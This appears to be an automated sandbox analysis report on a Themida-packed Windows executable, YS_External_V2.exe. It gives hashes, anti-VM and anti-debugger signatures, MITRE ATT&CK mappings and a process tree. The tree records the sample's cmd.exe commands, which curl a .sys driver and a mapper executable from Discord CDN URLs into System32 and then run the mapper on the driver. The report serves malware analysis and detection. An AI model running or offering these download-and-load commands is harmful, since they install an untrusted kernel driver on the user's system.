863ef4a6cc53d9ba762c43b053c60ff854ed5bb2a635d49ffa166569e8a8996c

General

Target

YS_External_V2.exe
Size

23.5MB
MD5

49bd07fcd35833d498db74a30e8da0c4
SHA1

695998aa01dcb54bbb8f3432d3eca4e39e84ee9b
SHA256

863ef4a6cc53d9ba762c43b053c60ff854ed5bb2a635d49ffa166569e8a8996c
SHA512

752ef105d0cc9196278f6fc9dbe40c6a940ae5543fc03962cfaa45c6e0e7183c6cfb7950d823131b01e6928214b408602bf888fcac531c7f8ed99ebeb07a21fa
SSDEEP

393216:nsL9KDKh8hHNQu6UDB5w0Lp/juLBqyBRhfvSOMQ0569yjRZ:nsLMDxy5cgqxjuwyBjAjo9k

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

YS_External_V2.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ YS_External_V2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	YS_External_V2.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

YS_External_V2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	YS_External_V2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	YS_External_V2.exe

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/2032-54-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-55-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-56-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-57-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-58-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-59-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-60-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-61-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida
behavioral1/memory/2032-63-0x000000013FDE0000-0x00000001422CB000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

YS_External_V2.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA YS_External_V2.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

YS_External_V2.exe

pid process

2032 YS_External_V2.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1116 2032 WerFault.exe YS_External_V2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	YS_External_V2.exe

pid	process
2032	YS_External_V2.exe

pid	pid_target	process	target process
1116	2032	WerFault.exe	YS_External_V2.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

YS_External_V2.exe

description	pid	process	target process
PID 2032 wrote to memory of 580	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 580	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 580	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 768	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 768	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 768	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 320	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 320	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 320	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 464	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 464	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 464	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 524	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 524	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 524	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1012	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1012	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1012	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1468	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1468	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1468	2032	YS_External_V2.exe	cmd.exe
PID 2032 wrote to memory of 1116	2032	YS_External_V2.exe	WerFault.exe
PID 2032 wrote to memory of 1116	2032	YS_External_V2.exe	WerFault.exe
PID 2032 wrote to memory of 1116	2032	YS_External_V2.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\YS_External_V2.exe
"C:\Users\Admin\AppData\Local\Temp\YS_External_V2.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:580

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1077305966531444837/1077321645544439828/yamsud.sys --output C:\Windows\System32\yamsud.sys >nul 2>&1
2⤵
PID:768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1077305966531444837/1077321645909348533/yamsmapper.exe --output C:\Windows\System32\yamsmapper.exe >nul 2>&1
2⤵
PID:320

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:464

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\yamsmapper.exe C:\Windows\System32\yamsud.sys
2⤵
PID:524

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:1012

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2032 -s 212
2⤵
- Program crash
PID:1116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c pause >nul 2>&1
2⤵
PID:1468

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2032-54-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-55-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-56-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-57-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-58-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-59-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-60-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-61-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download
memory/2032-62-0x0000000000200000-0x0000000000201000-memory.dmp

Filesize
4KB

Download
memory/2032-63-0x000000013FDE0000-0x00000001422CB000-memory.dmp

Filesize
36.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads